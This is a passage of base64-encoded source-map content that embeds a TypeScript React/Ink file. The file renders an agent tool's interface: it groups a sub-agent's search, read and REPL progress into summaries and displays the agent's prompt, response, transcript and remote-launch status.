iLCJhbGxDb21wbGV0ZSIsImFsbFNhbWVUeXBlIiwiZXZlcnkiLCJzdGF0IiwiY29tbW9uVHlwZSIsImFsbEFzeW5jIiwidGVhbV9uYW1lIiwiaSIsImxhc3RUb29sUmVzdWx0IiwidG9vbFJlc3VsdEJsb2NrIiwiZmluZCIsInRvb2xVc2VCbG9jayIsInRvb2wiLCJSZWNvcmQiLCJ1c2VyRmFjaW5nVG9vbE5hbWUiLCJnZXRUb29sVXNlU3VtbWFyeSIsInN1bW1hcnkiXSwic291cmNlcyI6WyJVSS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHR5cGUge1xuICBUb29sUmVzdWx0QmxvY2tQYXJhbSxcbiAgVG9vbFVzZUJsb2NrUGFyYW0sXG59IGZyb20gJ0BhbnRocm9waWMtYWkvc2RrL3Jlc291cmNlcy9pbmRleC5tanMnXG5pbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IENvbmZpZ3VyYWJsZVNob3J0Y3V0SGludCB9IGZyb20gJ3NyYy9jb21wb25lbnRzL0NvbmZpZ3VyYWJsZVNob3J0Y3V0SGludC5qcydcbmltcG9ydCB7XG4gIEN0cmxPVG9FeHBhbmQsXG4gIFN1YkFnZW50UHJvdmlkZXIsXG59IGZyb20gJ3NyYy9jb21wb25lbnRzL0N0cmxPVG9FeHBhbmQuanMnXG5pbXBvcnQgeyBCeWxpbmUgfSBmcm9tICdzcmMvY29tcG9uZW50cy9kZXNpZ24tc3lzdGVtL0J5bGluZS5qcydcbmltcG9ydCB7IEtleWJvYXJkU2hvcnRjdXRIaW50IH0gZnJvbSAnc3JjL2NvbXBvbmVudHMvZGVzaWduLXN5c3RlbS9LZXlib2FyZFNob3J0Y3V0SGludC5qcydcbmltcG9ydCB0eXBlIHsgeiB9IGZyb20gJ3pvZC92NCdcbmltcG9ydCB7IEFnZW50UHJvZ3Jlc3NMaW5lIH0gZnJvbSAnLi4vLi4vY29tcG9uZW50cy9BZ2VudFByb2dyZXNzTGluZS5qcydcbmltcG9ydCB7IEZhbGxiYWNrVG9vbFVzZUVycm9yTWVzc2FnZSB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvRmFsbGJhY2tUb29sVXNlRXJyb3JNZXNzYWdlLmpzJ1xuaW1wb3J0IHsgRmFsbGJhY2tUb29sVXNlUmVqZWN0ZWRNZXNzYWdlIH0gZnJvbSAnLi4vLi4vY29tcG9uZW50cy9GYWxsYmFja1Rvb2xVc2VSZWplY3RlZE1lc3NhZ2UuanMnXG5pbXBvcnQgeyBNYXJrZG93biB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvTWFya2Rvd24uanMnXG5pbXBvcnQgeyBNZXNzYWdlIGFzIE1lc3NhZ2VDb21wb25lbnQgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL01lc3NhZ2UuanMnXG5pbXBvcnQgeyBNZXNzYWdlUmVzcG9uc2UgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL01lc3NhZ2VSZXNwb25zZS5qcydcbmltcG9ydCB7IFRvb2xVc2VMb2FkZXIgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL1Rvb2xVc2VMb2FkZXIuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgeyBnZXREdW1wUHJvbXB0c1BhdGggfSBmcm9tICcuLi8uLi9zZXJ2aWNlcy9hcGkvZHVtcFByb21wdHMuanMnXG5pbXBvcnQgeyBmaW5kVG9vbEJ5TmFtZSwgdHlwZSBUb29scyB9IGZyb20gJy4uLy4uL1Rvb2wuanMnXG5pbXBvcnQgdHlwZSB7IE1lc3NhZ2UsIFByb2dyZXNzTWVzc2FnZSB9IGZyb20gJy4uLy4uL3R5cGVzL21lc3NhZ2UuanMnXG5pbXBvcnQgdHlwZSB7IEFnZW50VG9vbFByb2dyZXNzIH0gZnJvbSAnLi4vLi4vdHlwZXMvdG9vbHMuanMnXG5pbXBvcnQgeyBjb3VudCB9IGZyb20gJy4uLy4uL3V0aWxzL2FycmF5LmpzJ1xuaW1wb3J0IHtcbiAgZ2V0U2VhcmNoT3JSZWFkRnJvbUNvbnRlbnQsXG4gIGdldFNlYXJjaFJlYWRTdW1tYXJ5VGV4dCxcbn0gZnJvbSAnLi4vLi4vdXRpbHMvY29sbGFwc2VSZWFkU2VhcmNoLmpzJ1xuaW1wb3J0IHsgZ2V0RGlzcGxheVBhdGggfSBmcm9tICcuLi8uLi91dGlscy9maWxlLmpzJ1xuaW1wb3J0IHsgZm9ybWF0RHVyYXRpb24sIGZvcm1hdE51bWJlciB9IGZyb20gJy4uLy4uL3V0aWxzL2Zvcm1hdC5qcydcbmltcG9ydCB7XG4gIGJ1aWxkU3ViYWdlbnRMb29rdXBzLFxuICBjcmVhdGVBc3Npc3RhbnRNZXNzYWdlLFxuICBFTVBUWV9MT09LVVBTLFxufSBmcm9tICcuLi8uLi91dGlscy9tZXNzYWdlcy5qcydcbmltcG9ydCB0eXBlIHsgTW9kZWxBbGlhcyB9IGZyb20gJy4uLy4uL3V0aWxzL21vZGVsL2FsaWFzZXMuanMnXG5pbXBvcnQge1xuICBnZXRNYWluTG9vcE1vZGVsLFxuICBwYXJzZVVzZXJTcGVjaWZpZWRNb2RlbCxcbiAgcmVuZGVyTW9kZWxOYW1lLFxufSBmcm9tICcuLi8uLi91dGlscy9tb2RlbC9tb2RlbC5qcydcbmltcG9ydCB0eXBlIHsgVGhlbWUsIFRoZW1lTmFtZSB9IGZyb20gJy4uLy4uL3V0aWxzL3RoZW1lLmpzJ1xuaW1wb3J0IHR5cGUge1xuICBvdXRwdXRTY2hlbWEsXG4gIFByb2dyZXNzLFxuICBSZW1vdGVMYXVuY2hlZE91dHB1dCxcbn0gZnJvbSAnLi9BZ2VudFRvb2wuanMnXG5pbXBvcnQgeyBpbnB1dFNjaGVtYSB9IGZyb20gJy4vQWdlbnRUb29sLmpzJ1xuaW1wb3J0IHsgZ2V0QWdlbnRDb2xvciB9IGZyb20gJy4vYWdlbnRDb2xvck1hbmFnZXIuanMnXG5pbXBvcnQgeyBHRU5FUkFMX1BVUlBPU0VfQUdFTlQgfSBmcm9tICcuL2J1aWx0LWluL2dlbmVyYWxQdXJwb3NlQWdlbnQuanMnXG5cbmNvbnN0IE1BWF9QUk9HUkVTU19NRVNTQUdFU19UT19TSE9XID0gM1xuXG4vKipcbiAqIEd1YXJkOiBjaGVja3MgaWYgcHJvZ3Jlc3MgZGF0YSBoYXMgYSBgbWVzc2FnZWAgZmllbGQgKGFnZW50X3Byb2dyZXNzIG9yXG4gKiBza2lsbF9wcm9ncmVzcykuICBPdGhlciBwcm9ncmVzcyB0eXBlcyAoZS5nLiBiYXNoX3Byb2dyZXNzIGZvcndhcmRlZCBmcm9tXG4gKiBzdWItYWdlbnRzKSBsYWNrIHRoaXMgZmllbGQgYW5kIG11c3QgYmUgc2tpcHBlZCBieSBVSSBoZWxwZXJzLlxuICovXG5mdW5jdGlvbiBoYXNQcm9ncmVzc01lc3NhZ2UoZGF0YTogUHJvZ3Jlc3MpOiBkYXRhIGlzIEFnZW50VG9vbFByb2dyZXNzIHtcbiAgaWYgKCEoJ21lc3NhZ2UnIGluIGRhdGEpKSB7XG4gICAgcmV0dXJuIGZhbHNlXG4gIH1cbiAgY29uc3QgbXNnID0gKGRhdGEgYXMgQWdlbnRUb29sUHJvZ3Jlc3MpLm1lc3NhZ2VcbiAgcmV0dXJuIG1zZyAhPSBudWxsICYmIHR5cGVvZiBtc2cgPT09ICdvYmplY3QnICYmICd0eXBlJyBpbiBtc2dcbn1cblxuLyoqXG4gKiBDaGVjayBpZiBhIHByb2dyZXNzIG1lc3NhZ2UgaXMgYSBzZWFyY2gvcmVhZC9SRVBMIG9wZXJhdGlvbiAodG9vbCB1c2Ugb3IgcmVzdWx0KS5cbiAqIFJldHVybnMgeyBpc1NlYXJjaCwgaXNSZWFkLCBpc1JFUEwgfSBpZiBpdCdzIGEgY29sbGFwc2libGUgb3BlcmF0aW9uLCBudWxsIG90aGVyd2lzZS5cbiAqXG4gKiBGb3IgdG9vbF9yZXN1bHQgbWVzc2FnZXMsIHVzZXMgdGhlIHByb3ZpZGVkIGB0b29sVXNlQnlJRGAgbWFwIHRvIGZpbmQgdGhlXG4gKiBjb3JyZXNwb25kaW5nIHRvb2xfdXNlIGJsb2NrIGluc3RlYWQgb2YgcmVseWluZyBvbiBgbm9ybWFsaXplZE1lc3NhZ2VzYC5cbiAqL1xuZnVuY3Rpb24gZ2V0U2VhcmNoT3JSZWFkSW5mbyhcbiAgcHJvZ3Jlc3NNZXNzYWdlOiBQcm9ncmVzc01lc3NhZ2U8UHJvZ3Jlc3M+LFxuICB0b29sczogVG9vbHMsXG4gIHRvb2xVc2VCeUlEOiBNYXA8c3RyaW5nLCBUb29sVXNlQmxvY2tQYXJhbT4sXG4pOiB7IGlzU2VhcmNoOiBib29sZWFuOyBpc1JlYWQ6IGJvb2xlYW47IGlzUkVQTDogYm9vbGVhbiB9IHwgbnVsbCB7XG4gIGlmICghaGFzUHJvZ3Jlc3NNZXNzYWdlKHByb2dyZXNzTWVzc2FnZS5kYXRhKSkge1xuICAgIHJldHVybiBudWxsXG4gIH1cbiAgY29uc3QgbWVzc2FnZSA9IHByb2dyZXNzTWVzc2FnZS5kYXRhLm1lc3NhZ2VcblxuICAvLyBDaGVjayB0b29sX3VzZSAoYXNzaXN0YW50IG1lc3NhZ2UpXG4gIGlmIChtZXNzYWdlLnR5cGUgPT09ICdhc3Npc3RhbnQnKSB7XG4gICAgcmV0dXJuIGdldFNlYXJjaE9yUmVhZEZyb21Db250ZW50KG1lc3NhZ2UubWVzc2FnZS5jb250ZW50WzBdLCB0b29scylcbiAgfVxuXG4gIC8vIENoZWNrIHRvb2xfcmVzdWx0ICh1c2VyIG1lc3NhZ2UpIC0gZmluZCBjb3JyZXNwb25kaW5nIHRvb2wgdXNlIGZyb20gdGhlIG1hcFxuICBpZiAobWVzc2FnZS50eXBlID09PSAndXNlcicpIHtcbiAgICBjb25zdCBjb250ZW50ID0gbWVzc2FnZS5tZXNzYWdlLmNvbnRlbnRbMF1cbiAgICBpZiAoY29udGVudD8udHlwZSA9PT0gJ3Rvb2xfcmVzdWx0Jykge1xuICAgICAgY29uc3QgdG9vbFVzZSA9IHRvb2xVc2VCeUlELmdldChjb250ZW50LnRvb2xfdXNlX2lkKVxuICAgICAgaWYgKHRvb2xVc2UpIHtcbiAgICAgICAgcmV0dXJuIGdldFNlYXJjaE9yUmVhZEZyb21Db250ZW50KHRvb2xVc2UsIHRvb2xzKVxuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gIHJldHVybiBudWxsXG59XG5cbnR5cGUgU3VtbWFyeU1lc3NhZ2UgPSB7XG4gIHR5cGU6ICdzdW1tYXJ5J1xuICBzZWFyY2hDb3VudDogbnVtYmVyXG4gIHJlYWRDb3VudDogbnVtYmVyXG4gIHJlcGxDb3VudDogbnVtYmVyXG4gIHV1aWQ6IHN0cmluZ1xuICBpc0FjdGl2ZTogYm9vbGVhbiAvLyB0cnVlIGlmIHN0aWxsIGluIHByb2dyZXNzIChsYXN0IG1lc3NhZ2Ugd2FzIHRvb2xfdXNlLCBub3QgdG9vbF9yZXN1bHQpXG59XG5cbnR5cGUgUHJvY2Vzc2VkTWVzc2FnZSA9XG4gIHwgeyB0eXBlOiAnb3JpZ2luYWwnOyBtZXNzYWdlOiBQcm9ncmVzc01lc3NhZ2U8QWdlbnRUb29sUHJvZ3Jlc3M+IH1cbiAgfCBTdW1tYXJ5TWVzc2FnZVxuXG4vKipcbiAqIFByb2Nlc3MgcHJvZ3Jlc3MgbWVzc2FnZXMgdG8gZ3JvdXAgY29uc2VjdXRpdmUgc2VhcmNoL3JlYWQgb3BlcmF0aW9ucyBpbnRvIHN1bW1hcmllcy5cbiAqIEZvciBhbnRzIG9ubHkgLSByZXR1cm5zIG9yaWdpbmFsIG1lc3NhZ2VzIGZvciBub24tYW50cy5cbiAqIEBwYXJhbSBpc0FnZW50UnVubmluZyAtIElmIHRydWUsIHRoZSBsYXN0IGdyb3VwIGlzIGFsd2F5cyBtYXJrZWQgYXMgYWN0aXZlIChpbiBwcm9ncmVzcylcbiAqL1xuZnVuY3Rpb24gcHJvY2Vzc1Byb2dyZXNzTWVzc2FnZXMoXG4gIG1lc3NhZ2VzOiBQcm9ncmVzc01lc3NhZ2U8UHJvZ3Jlc3M+W10sXG4gIHRvb2xzOiBUb29scyxcbiAgaXNBZ2VudFJ1bm5pbmc6IGJvb2xlYW4sXG4pOiBQcm9jZXNzZWRNZXNzYWdlW10ge1xuICAvLyBPbmx5IHByb2Nlc3MgZm9yIGFudHNcbiAgaWYgKFwiZXh0ZXJuYWxcIiAhPT0gJ2FudCcpIHtcbiAgICByZXR1cm4gbWVzc2FnZXNcbiAgICAgIC5maWx0ZXIoXG4gICAgICAgIChtKTogbSBpcyBQcm9ncmVzc01lc3NhZ2U8QWdlbnRUb29sUHJvZ3Jlc3M+ID0+XG4gICAgICAgICAgaGFzUHJvZ3Jlc3NNZXNzYWdlKG0uZGF0YSkgJiYgbS5kYXRhLm1lc3NhZ2UudHlwZSAhPT0gJ3VzZXInLFxuICAgICAgKVxuICAgICAgLm1hcChtID0+ICh7IHR5cGU6ICdvcmlnaW5hbCcsIG1lc3NhZ2U6IG0gfSkpXG4gIH1cblxuICBjb25zdCByZXN1bHQ6IFByb2Nlc3NlZE1lc3NhZ2VbXSA9IFtdXG4gIGxldCBjdXJyZW50R3JvdXA6IHtcbiAgICBzZWFyY2hDb3VudDogbnVtYmVyXG4gICAgcmVhZENvdW50OiBudW1iZXJcbiAgICByZXBsQ291bnQ6IG51bWJlclxuICAgIHN0YXJ0VXVpZDogc3RyaW5nXG4gIH0gfCBudWxsID0gbnVsbFxuXG4gIGZ1bmN0aW9uIGZsdXNoR3JvdXAoaXNBY3RpdmU6IGJvb2xlYW4pOiB2b2lkIHtcbiAgICBpZiAoXG4gICAgICBjdXJyZW50R3JvdXAgJiZcbiAgICAgIChjdXJyZW50R3JvdXAuc2VhcmNoQ291bnQgPiAwIHx8XG4gICAgICAgIGN1cnJlbnRHcm91cC5yZWFkQ291bnQgPiAwIHx8XG4gICAgICAgIGN1cnJlbnRHcm91cC5yZXBsQ291bnQgPiAwKVxuICAgICkge1xuICAgICAgcmVzdWx0LnB1c2goe1xuICAgICAgICB0eXBlOiAnc3VtbWFyeScsXG4gICAgICAgIHNlYXJjaENvdW50OiBjdXJyZW50R3JvdXAuc2VhcmNoQ291bnQsXG4gICAgICAgIHJlYWRDb3VudDogY3VycmVudEdyb3VwLnJlYWRDb3VudCxcbiAgICAgICAgcmVwbENvdW50OiBjdXJyZW50R3JvdXAucmVwbENvdW50LFxuICAgICAgICB1dWlkOiBgc3VtbWFyeS0ke2N1cnJlbnRHcm91cC5zdGFydFV1aWR9YCxcbiAgICAgICAgaXNBY3RpdmUsXG4gICAgICB9KVxuICAgIH1cbiAgICBjdXJyZW50R3JvdXAgPSBudWxsXG4gIH1cblxuICBjb25zdCBhZ2VudE1lc3NhZ2VzID0gbWVzc2FnZXMuZmlsdGVyKFxuICAgIChtKTogbSBpcyBQcm9ncmVzc01lc3NhZ2U8QWdlbnRUb29sUHJvZ3Jlc3M+ID0+IGhhc1Byb2dyZXNzTWVzc2FnZShtLmRhdGEpLFxuICApXG5cbiAgLy8gQnVpbGQgdG9vbF91c2UgbG9va3VwIGluY3JlbWVudGFsbHkgYXMgd2UgaXRlcmF0ZVxuICBjb25zdCB0b29sVXNlQnlJRCA9IG5ldyBNYXA8c3RyaW5nLCBUb29sVXNlQmxvY2tQYXJhbT4oKVxuICBmb3IgKGNvbnN0IG1zZyBvZiBhZ2VudE1lc3NhZ2VzKSB7XG4gICAgLy8gVHJhY2sgdG9vbF91c2UgYmxvY2tzIGFzIHdlIHNlZSB0aGVtXG4gICAgaWYgKG1zZy5kYXRhLm1lc3NhZ2UudHlwZSA9PT0gJ2Fzc2lzdGFudCcpIHtcbiAgICAgIGZvciAoY29uc3QgYyBvZiBtc2cuZGF0YS5tZXNzYWdlLm1lc3NhZ2UuY29udGVudCkge1xuICAgICAgICBpZiAoYy50eXBlID09PSAndG9vbF91c2UnKSB7XG4gICAgICAgICAgdG9vbFVzZUJ5SUQuc2V0KGMuaWQsIGMgYXMgVG9vbFVzZUJsb2NrUGFyYW0pXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgY29uc3QgaW5mbyA9IGdldFNlYXJjaE9yUmVhZEluZm8obXNnLCB0b29scywgdG9vbFVzZUJ5SUQpXG5cbiAgICBpZiAoaW5mbyAmJiAoaW5mby5pc1NlYXJjaCB8fCBpbmZvLmlzUmVhZCB8fCBpbmZvLmlzUkVQTCkpIHtcbiAgICAgIC8vIFRoaXMgaXMgYSBzZWFyY2gvcmVhZC9SRVBMIG9wZXJhdGlvbiAtIGFkZCB0byBjdXJyZW50IGdyb3VwXG4gICAgICBpZiAoIWN1cnJlbnRHcm91cCkge1xuICAgICAgICBjdXJyZW50R3JvdXAgPSB7XG4gICAgICAgICAgc2VhcmNoQ291bnQ6IDAsXG4gICAgICAgICAgcmVhZENvdW50OiAwLFxuICAgICAgICAgIHJlcGxDb3VudDogMCxcbiAgICAgICAgICBzdGFydFV1aWQ6IG1zZy51dWlkLFxuICAgICAgICB9XG4gICAgICB9XG4gICAgICAvLyBPbmx5IGNvdW50IHRvb2xfcmVzdWx0IG1lc3NhZ2VzIChub3QgdG9vbF91c2UpIHRvIGF2b2lkIGRvdWJsZSBjb3VudGluZ1xuICAgICAgaWYgKG1zZy5kYXRhLm1lc3NhZ2UudHlwZSA9PT0gJ3VzZXInKSB7XG4gICAgICAgIGlmIChpbmZvLmlzU2VhcmNoKSB7XG4gICAgICAgICAgY3VycmVudEdyb3VwLnNlYXJjaENvdW50KytcbiAgICAgICAgfSBlbHNlIGlmIChpbmZvLmlzUkVQTCkge1xuICAgICAgICAgIGN1cnJlbnRHcm91cC5yZXBsQ291bnQrK1xuICAgICAgICB9IGVsc2UgaWYgKGluZm8uaXNSZWFkKSB7XG4gICAgICAgICAgY3VycmVudEdyb3VwLnJlYWRDb3VudCsrXG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgLy8gTm9uLXNlYXJjaC9yZWFkL1JFUEwgbWVzc2FnZSAtIGZsdXNoIGN1cnJlbnQgZ3JvdXAgKGNvbXBsZXRlZCkgYW5kIGFkZCB0aGlzIG1lc3NhZ2VcbiAgICAgIGZsdXNoR3JvdXAoZmFsc2UpXG4gICAgICAvLyBTa2lwIHVzZXIgdG9vbF9yZXN1bHQgbWVzc2FnZXMg4oCUIHN1YmFnZW50IHByb2dyZXNzIG1lc3NhZ2VzIGxhY2tcbiAgICAgIC8vIHRvb2xVc2VSZXN1bHQsIHNvIFVzZXJUb29sU3VjY2Vzc01lc3NhZ2UgcmV0dXJucyBudWxsIGFuZCB0aGVcbiAgICAgIC8vIGhlaWdodD0xIEJveCBpbiByZW5kZXJUb29sVXNlUHJvZ3Jlc3NNZXNzYWdlIHNob3dzIGFzIGEgYmxhbmsgbGluZS5cbiAgICAgIGlmIChtc2cuZGF0YS5tZXNzYWdlLnR5cGUgIT09ICd1c2VyJykge1xuICAgICAgICByZXN1bHQucHVzaCh7IHR5cGU6ICdvcmlnaW5hbCcsIG1lc3NhZ2U6IG1zZyB9KVxuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gIC8vIEZsdXNoIGFueSByZW1haW5pbmcgZ3JvdXAgLSBpdCdzIGFjdGl2ZSBpZiB0aGUgYWdlbnQgaXMgc3RpbGwgcnVubmluZ1xuICBmbHVzaEdyb3VwKGlzQWdlbnRSdW5uaW5nKVxuXG4gIHJldHVybiByZXN1bHRcbn1cblxuY29uc3QgRVNUSU1BVEVEX0xJTkVTX1BFUl9UT09MID0gOVxuY29uc3QgVEVSTUlOQUxfQlVGRkVSX0xJTkVTID0gN1xuXG50eXBlIE91dHB1dCA9IHouaW5wdXQ8UmV0dXJuVHlwZTx0eXBlb2Ygb3V0cHV0U2NoZW1hPj5cblxuZXhwb3J0IGZ1bmN0aW9uIEFnZW50UHJvbXB0RGlzcGxheSh7XG4gIHByb21wdCxcbiAgZGltOiBfZGltID0gZmFsc2UsXG59OiB7XG4gIHByb21wdDogc3RyaW5nXG4gIHRoZW1lPzogVGhlbWVOYW1lIC8vIGRlcHJlY2F0ZWQsIGtlcHQgZm9yIGNvbXBhdGliaWxpdHkgLSBNYXJrZG93biB1c2VzIHVzZVRoZW1lIGludGVybmFsbHlcbiAgZGltPzogYm9vbGVhbiAvLyBkZXByZWNhdGVkLCBrZXB0IGZvciBjb21wYXRpYmlsaXR5IC0gZGltQ29sb3IgY2Fubm90IGJlIGFwcGxpZWQgdG8gQm94IChNYXJrZG93biByZXR1cm5zIEJveClcbn0pOiBSZWFjdC5SZWFjdE5vZGUge1xuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgPFRleHQgY29sb3I9XCJzdWNjZXNzXCIgYm9sZD5cbiAgICAgICAgUHJvbXB0OlxuICAgICAgPC9UZXh0PlxuICAgICAgPEJveCBwYWRkaW5nTGVmdD17Mn0+XG4gICAgICAgIDxNYXJrZG93bj57cHJvbXB0fTwvTWFya2Rvd24+XG4gICAgICA8L0JveD5cbiAgICA8L0JveD5cbiAgKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gQWdlbnRSZXNwb25zZURpc3BsYXkoe1xuICBjb250ZW50LFxufToge1xuICBjb250ZW50OiB7IHR5cGU6IHN0cmluZzsgdGV4dDogc3RyaW5nIH1bXVxuICB0aGVtZT86IFRoZW1lTmFtZSAvLyBkZXByZWNhdGVkLCBrZXB0IGZvciBjb21wYXRpYmlsaXR5IC0gTWFya2Rvd24gdXNlcyB1c2VUaGVtZSBpbnRlcm5hbGx5XG59KTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgcmV0dXJuIChcbiAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgIDxUZXh0IGNvbG9yPVwic3VjY2Vzc1wiIGJvbGQ+XG4gICAgICAgIFJlc3BvbnNlOlxuICAgICAgPC9UZXh0PlxuICAgICAge2NvbnRlbnQubWFwKChibG9jazogeyB0eXBlOiBzdHJpbmc7IHRleHQ6IHN0cmluZyB9LCBpbmRleDogbnVtYmVyKSA9PiAoXG4gICAgICAgIDxCb3gga2V5PXtpbmRleH0gcGFkZGluZ0xlZnQ9ezJ9IG1hcmdpblRvcD17aW5kZXggPT09IDAgPyAwIDogMX0+XG4gICAgICAgICAgPE1hcmtkb3duPntibG9jay50ZXh0fTwvTWFya2Rvd24+XG4gICAgICAgIDwvQm94PlxuICAgICAgKSl9XG4gICAgPC9Cb3g+XG4gIClcbn1cblxudHlwZSBWZXJib3NlQWdlbnRUcmFuc2NyaXB0UHJvcHMgPSB7XG4gIHByb2dyZXNzTWVzc2FnZXM6IFByb2dyZXNzTWVzc2FnZTxQcm9ncmVzcz5bXVxuICB0b29sczogVG9vbHNcbiAgdmVyYm9zZTogYm9vbGVhblxufVxuXG5mdW5jdGlvbiBWZXJib3NlQWdlbnRUcmFuc2NyaXB0KHtcbiAgcHJvZ3Jlc3NNZXNzYWdlcyxcbiAgdG9vbHMsXG4gIHZlcmJvc2UsXG59OiBWZXJib3NlQWdlbnRUcmFuc2NyaXB0UHJvcHMpOiBSZWFjdC5SZWFjdE5vZGUge1xuICBjb25zdCB7IGxvb2t1cHM6IGFnZW50TG9va3VwcywgaW5Qcm9ncmVzc1Rvb2xVc2VJRHMgfSA9IGJ1aWxkU3ViYWdlbnRMb29rdXBzKFxuICAgIHByb2dyZXNzTWVzc2FnZXNcbiAgICAgIC5maWx0ZXIoKHBtKTogcG0gaXMgUHJvZ3Jlc3NNZXNzYWdlPEFnZW50VG9vbFByb2dyZXNzPiA9PlxuICAgICAgICBoYXNQcm9ncmVzc01lc3NhZ2UocG0uZGF0YSksXG4gICAgICApXG4gICAgICAubWFwKHBtID0+IHBtLmRhdGEpLFxuICApXG5cbiAgLy8gRmlsdGVyIG91dCB1c2VyIHRvb2xfcmVzdWx0IG1lc3NhZ2VzIHRoYXQgbGFjayB0b29sVXNlUmVzdWx0LlxuICAvLyBTdWJhZ2VudCBwcm9ncmVzcyBtZXNzYWdlcyBkb24ndCBjYXJyeSB0aGUgcGFyc2VkIHRvb2wgb3V0cHV0LFxuICAvLyBzbyBVc2VyVG9vbFN1Y2Nlc3NNZXNzYWdlIHJldHVybnMgbnVsbCBhbmQgTWVzc2FnZVJlc3BvbnNlIHJlbmRlcnNcbiAgLy8gYSBiYXJlIOKOvyB3aXRoIG5vIGNvbnRlbnQuXG4gIGNvbnN0IGZpbHRlcmVkTWVzc2FnZXMgPSBwcm9ncmVzc01lc3NhZ2VzLmZpbHRlcihcbiAgICAocG0pOiBwbSBpcyBQcm9ncmVzc01lc3NhZ2U8QWdlbnRUb29sUHJvZ3Jlc3M+ID0+IHtcbiAgICAgIGlmICghaGFzUHJvZ3Jlc3NNZXNzYWdlKHBtLmRhdGEpKSB7XG4gICAgICAgIHJldHVybiBmYWxzZVxuICAgICAgfVxuICAgICAgY29uc3QgbXNnID0gcG0uZGF0YS5tZXNzYWdlXG4gICAgICBpZiAobXNnLnR5cGUgPT09ICd1c2VyJyAmJiBtc2cudG9vbFVzZVJlc3VsdCA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgIHJldHVybiBmYWxzZVxuICAgICAgfVxuICAgICAgcmV0dXJuIHRydWVcbiAgICB9LFxuICApXG5cbiAgcmV0dXJuIChcbiAgICA8PlxuICAgICAge2ZpbHRlcmVkTWVzc2FnZXMubWFwKHByb2dyZXNzTWVzc2FnZSA9PiAoXG4gICAgICAgIDxNZXNzYWdlUmVzcG9uc2Uga2V5PXtwcm9ncmVzc01lc3NhZ2UudXVpZH0gaGVpZ2h0PXsxfT5cbiAgICAgICAgICA8TWVzc2FnZUNvbXBvbmVudFxuICAgICAgICAgICAgbWVzc2FnZT17cHJvZ3Jlc3NNZXNzYWdlLmRhdGEubWVzc2FnZX1cbiAgICAgICAgICAgIGxvb2t1cHM9e2FnZW50TG9va3Vwc31cbiAgICAgICAgICAgIGFkZE1hcmdpbj17ZmFsc2V9XG4gICAgICAgICAgICB0b29scz17dG9vbHN9XG4gICAgICAgICAgICBjb21tYW5kcz17W119XG4gICAgICAgICAgICB2ZXJib3NlPXt2ZXJib3NlfVxuICAgICAgICAgICAgaW5Qcm9ncmVzc1Rvb2xVc2VJRHM9e2luUHJvZ3Jlc3NUb29sVXNlSURzfVxuICAgICAgICAgICAgcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2U9e1tdfVxuICAgICAgICAgICAgc2hvdWxkQW5pbWF0ZT17ZmFsc2V9XG4gICAgICAgICAgICBzaG91bGRTaG93RG90PXtmYWxzZX1cbiAgICAgICAgICAgIGlzVHJhbnNjcmlwdE1vZGU9e2ZhbHNlfVxuICAgICAgICAgICAgaXNTdGF0aWM9e3RydWV9XG4gICAgICAgICAgLz5cbiAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICApKX1cbiAgICA8Lz5cbiAgKVxufVxuXG5leHBvcnQgZnVuY3Rpb24gcmVuZGVyVG9vbFJlc3VsdE1lc3NhZ2UoXG4gIGRhdGE6IE91dHB1dCxcbiAgcHJvZ3Jlc3NNZXNzYWdlc0Zvck1lc3NhZ2U6IFByb2dyZXNzTWVzc2FnZTxQcm9ncmVzcz5bXSxcbiAge1xuICAgIHRvb2xzLFxuICAgIHZlcmJvc2UsXG4gICAgdGhlbWUsXG4gICAgaXNUcmFuc2NyaXB0TW9kZSA9IGZhbHNlLFxuICB9OiB7XG4gICAgdG9vbHM6IFRvb2xzXG4gICAgdmVyYm9zZTogYm9vbGVhblxuICAgIHRoZW1lOiBUaGVtZU5hbWVcbiAgICBpc1RyYW5zY3JpcHRNb2RlPzogYm9vbGVhblxuICB9LFxuKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgLy8gUmVtb3RlLWxhdW5jaGVkIGFnZW50cyAoYW50LW9ubHkpIHVzZSBhIHByaXZhdGUgb3V0cHV0IHR5cGUgbm90IGluIHRoZVxuICAvLyBwdWJsaWMgc2NoZW1hLiBOYXJyb3cgdmlhIHRoZSBpbnRlcm5hbCBkaXNjcmltaW5hbnQuXG4gIGNvbnN0IGludGVybmFsID0gZGF0YSBhcyBPdXRwdXQgfCBSZW1vdGVMYXVuY2hlZE91dHB1dFxuICBpZiAoaW50ZXJuYWwuc3RhdHVzID09PSAncmVtb3RlX2xhdW5jaGVkJykge1xuICAgIHJldHVybiAoXG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZSBoZWlnaHQ9ezF9PlxuICAgICAgICAgIDxUZXh0PlxuICAgICAgICAgICAgUmVtb3RlIGFnZW50IGxhdW5jaGVkeycgJ31cbiAgICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlxuICAgICAgICAgICAgICDCtyB7aW50ZXJuYWwudGFza0lkfSDCtyB7aW50ZXJuYWwuc2Vzc2lvblVybH1cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgPC9Cb3g+XG4gICAgKVxuICB9XG4gIGlmIChkYXRhLnN0